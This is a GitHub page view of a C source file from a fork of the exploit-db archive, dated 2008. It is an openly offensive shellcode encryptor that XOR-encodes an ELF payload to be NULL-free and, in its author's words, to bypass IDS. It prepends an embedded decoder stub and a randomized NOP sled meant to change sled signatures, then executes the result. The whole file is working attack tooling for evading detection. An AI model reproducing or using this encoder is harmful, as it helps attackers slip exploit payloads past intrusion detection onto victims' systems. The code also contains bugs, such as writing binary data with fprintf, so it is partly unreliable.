forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path13328.c
More file actions
223 lines (188 loc) · 10.8 KB
/
Copy path13328.c
File metadata and controls
223 lines (188 loc) · 10.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
/*
* sm4x - 2008 => sm4x0rcist [a7] gmail [d07] com
* - sh3llc0der.c v0.1 (beta)
* - (elf binary) shellcode encryptor, NULL free for IDS payload bypassing
* - key is a simple int for x(x(p)) decryption(encryption(p)) (modify to add/subtract if needed)
* - if you find bugs i dont wanna know -> fix them and its urs
* - watch for 0x0a, 0x0d warnings for \r\n as they get mucked in most str** calls
*
* nb: nasm ur files with -felf, then ld -o them (u know)
* usage: ./sh3llc0der [options] binaryfile
* - output is a encoded byte array (or raw binary if -o <file> is specified)
* - it was easier for me to write it directly hooking to the elf struct -> but you can change it (only took 3 hours so ITS BUGGY!)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <linux/elf.h>
char decoder[] = "\xeb\x10\x5e\x31\xc9"
"\xb1\x00\x80\x74\x0e" // \x00 location of payload size
"\xff\x00\xfe\xc9\x75" // \x00 location of xor key
"\xf7\xeb\x05\xe8\xeb"
"\xff\xff\xff";
int getkey(int i) {
int seed;
struct timeval tm;
gettimeofday(&tm, NULL);
seed = tm.tv_sec + tm.tv_usec; srandom(seed);
return (random() % i) +1;
}
void usage() {
printf("Usage: sh3llc0der [options] shellcode\n");
printf("\tv - verbose\n");
printf("\to [outfile] - out file (stdout is default)\n");
printf("\tn [size] - generate with NOP sled of size length (minus decoder)\n");
printf("\tr - randomize NOP sled with other operations\n");
printf("\t? - this crud\n");
}
int main(int argc, char **argv) {
Elf32_Ehdr elfhdr; Elf32_Phdr dataseg; Elf32_Phdr txtseg;
int found_txt_seg = 0; int i = 0; int r = 0; int len = 0; int key = 0;
int include_noop_instructions = 0; int noop_length = 0; int use_nop_randomization = 0;
int write_file = 0; int is_verbose = 0;
unsigned char c; unsigned char *b = NULL; unsigned char *nb = NULL;
char *upayload = NULL; char *outfile = NULL;
unsigned int payload_offset = 0; unsigned int payload_size = 0;
int (*func)();
opterr = 0; int option = 1;
while((option = getopt(argc, argv, "vrn:o:?")) != -1 ) {
switch(option) {
case 'v':
is_verbose = 1;
break;
case 'o':
write_file = 1;
outfile = optarg;
if(outfile != NULL) { printf("[+] writing shellcode to: %s\n", outfile); }
break;
case 'n':
if(optarg != NULL) noop_length = atoi(optarg); else break;
include_noop_instructions = 1;
break;
case 'r':
use_nop_randomization = 1;
break;
case '?':
usage(); exit(0);
break;
default:
// nothing
break;
};
}
if(argc < 2) { usage(); exit(0); }
printf("[+] sh3llc0der - sm4x 2008\n");
upayload = argv[argc-1]; if(upayload == outfile) { printf("[-] ummm no\n"); usage(); exit(-1); }
if(is_verbose) { printf("[?] opening %s\n", upayload); }
FILE *p = fopen(upayload, "rb");
if(p == NULL) { printf("[-] null file - nice try\n"); exit(-1); }
fseek(p, 0, SEEK_END);
len = ftell(p); rewind(p);
if(len <= 0) { printf("[-] 0 len file - nice try\n"); exit(-1); }
/* adjust our noop length for the decoder size */
if(include_noop_instructions && noop_length > sizeof(decoder)) { noop_length -= sizeof(decoder); }
printf("[+] shellcode length: %d Bytes\n", len);
b = (char *) malloc(sizeof(char)*len);
if(b == NULL) { printf("[-] unable to buffer shellcode - nice try again!\n"); exit(-1); }
if(is_verbose) { printf("[?] reading %s....\n", upayload); }
r = fread(b, 1, len, p);
if(r != len) { printf("[-] **warning** - unable to load the entire file into buffer!\n"); }
fclose(p); p = NULL;
if(is_verbose) { printf("[?] file %s seems ok with %d size\n", upayload, len); }
/* get our ELF header out of the binary */
memcpy(&elfhdr, (void *)b, sizeof(Elf32_Ehdr));
printf("[+] Starting address: 0x%x\n", elfhdr.e_entry);
/* seek to our offset */
printf("[+] Offset @ 0x%x\n", elfhdr.e_phoff);
/* loop for seg offset (you're gonna crash here if its not a proper elf binary -> don't really care!! lol) */
for(i = 0;i < elfhdr.e_phnum; i++) {
/* copy in our txtseg what we think* to be the appropriate header (p_offset == 0 means text) */
memcpy(&txtseg, &b[(sizeof(Elf32_Ehdr)) + (i * sizeof(Elf32_Phdr))], sizeof(Elf32_Phdr));
if(txtseg.p_filesz > 0 && txtseg.p_offset == 0) {
printf("[+] .text segment found, len: 0x%x|0x%x @ V:0x%x P:0x%x off: 0x%x\n",
txtseg.p_filesz, txtseg.p_memsz, txtseg.p_vaddr, txtseg.p_vaddr, txtseg.p_offset);
found_txt_seg = 1; break;
} else {
found_txt_seg = 0;
}
} if(!found_txt_seg) { printf("[-] could not find .text segment for encoding!\n"); exit(-1); }
/* calculations for start of .text with offset (usually 0) */
payload_size = (txtseg.p_vaddr + txtseg.p_filesz) - elfhdr.e_entry;
payload_offset = (txtseg.p_offset + txtseg.p_filesz) - payload_size;
printf("[+] calc offset: 0x%x | 0x%x -> (SHELLCODE SIZE: %d Bytes)\n", payload_offset, payload_size, payload_size);
int new_payload_size = noop_length+payload_size+sizeof(decoder)-1;
nb = (char *) malloc(sizeof(char) * new_payload_size);
if(nb == NULL) { printf("[-] error creating copy payload - nice try\n"); exit(-1); }
memset(nb, 0x0, sizeof(char) * new_payload_size); // just in case - clean it out
// ensure we have a NULL free xor'd shellcode -> keep trying until we do
int is_null = 0; int warn = 0; int attempts = 0;
while(1) {
if(attempts > 20) { printf("[-] somthing is very wrong!! please check the binary\n"); exit(-1); }
key = getkey(255);
for(i = 0; i < payload_size; i++) {
c = b[payload_offset+i]; c ^= key;
if(c == 0x00) { printf("[!] ERR: 0x%x on key: %d\n", b[payload_offset+i], key); is_null = 1; break; }
if(c == 0x0a || c == 0x0d) { printf("[!] WARN: 0x%x on key: %d\n", b[payload_offset+i], key); warn =1; }
} attempts++;
if(is_null) { printf("[-] NULL found.. regenerating now... try=%d\n", attempts); is_null = 0; usleep(100); continue; }
if(warn) { printf("[!] WARN: invalid hex was found in this shellcode -> this may* not pass some string functions!\n"); }
if(is_verbose) { printf("[?] running xor-enc on payload now (key=%d @ %x attempts)...\n", key, attempts); }
/* fill our new buffer -nb*/
for(i = 0; i < payload_size; i++) {
nb[noop_length+sizeof(decoder)-1+i] = b[payload_offset+i];
if(is_verbose) { printf("\\x%.2x", b[payload_offset+i]); }
nb[noop_length+sizeof(decoder)-1+i] ^= key;
} break;
} if(is_verbose) { printf("\n"); }
if(!warn) { printf("[+] done xor-enc on payload (NULL FREE)...\n"); } else { printf("[!] (check warnings!!) some problems with xor-enc (NULL FREE)...\n"); }
for(i = 0; i < noop_length+payload_size-1; i++) printf("\\x%.2x", nb[sizeof(decoder)+i]);
/* we need to set our primary instructions to decode with xor */
decoder[6] = payload_size; decoder[11] = key;
printf("\n");
if(include_noop_instructions) {
printf("[+] prepending %d (%d = minus decoder len) NOOPs...\n", noop_length+sizeof(decoder), noop_length);
// minus the decoder size
if(use_nop_randomization) {
for(i = 0; i < noop_length; i++) {
int p = getkey(5);
// hardly random - but change to modify the primary sled sig
switch((int)p) {
case 1: nb[i] = 0x90; break;
case 2: nb[i] = 0x40; nb[i+1] = 0x48; i++; break;
case 3: nb[i] = 0x50; break;
case 4: nb[i] = 0x58; break;
case 5: nb[i] = 0x99; break;
default: nb[i] = 0x90; break;
};
}
} else {
for(i = 0; i < noop_length; i++) nb[i] = 0x90;
}
}
printf("[+] adding decoder of %d Bytes (total= %d Bytes)...\n", sizeof(decoder), sizeof(decoder)+payload_size);
memcpy(nb+noop_length, decoder, sizeof(decoder)-1);
for(i = 0; i < noop_length+payload_size+sizeof(decoder)-1; i++) printf("\\x%.2x", nb[i]);
printf("\n");
if(write_file) {
printf("[+] writing payload to: %s\n", outfile);
FILE *w = fopen(outfile, "wb");
if(w == NULL) { printf("[-] Unable to open file: %s\n", outfile); goto continue_test; }
int bytes = fprintf(w, nb, sizeof(decoder)+payload_size, 0);
fclose(w);
printf("[+] done %d written.\n", bytes);
}
continue_test:
printf("[+] testing payload now ...\n");
printf("[-] if shellcode tests bad something has gone horribly wrong - do NOT continue with payload...\n");
/* if this mashes out ie: seg fault -> then DO NOT use the shellcode on an exploit -> ur gonna crash the shit */
func = (int (*)()) nb;
(int)(*func)();
// should never get here really
cleanup:
if(p != NULL) fclose(p);
return 0;
}
// milw0rm.com [2008-12-09]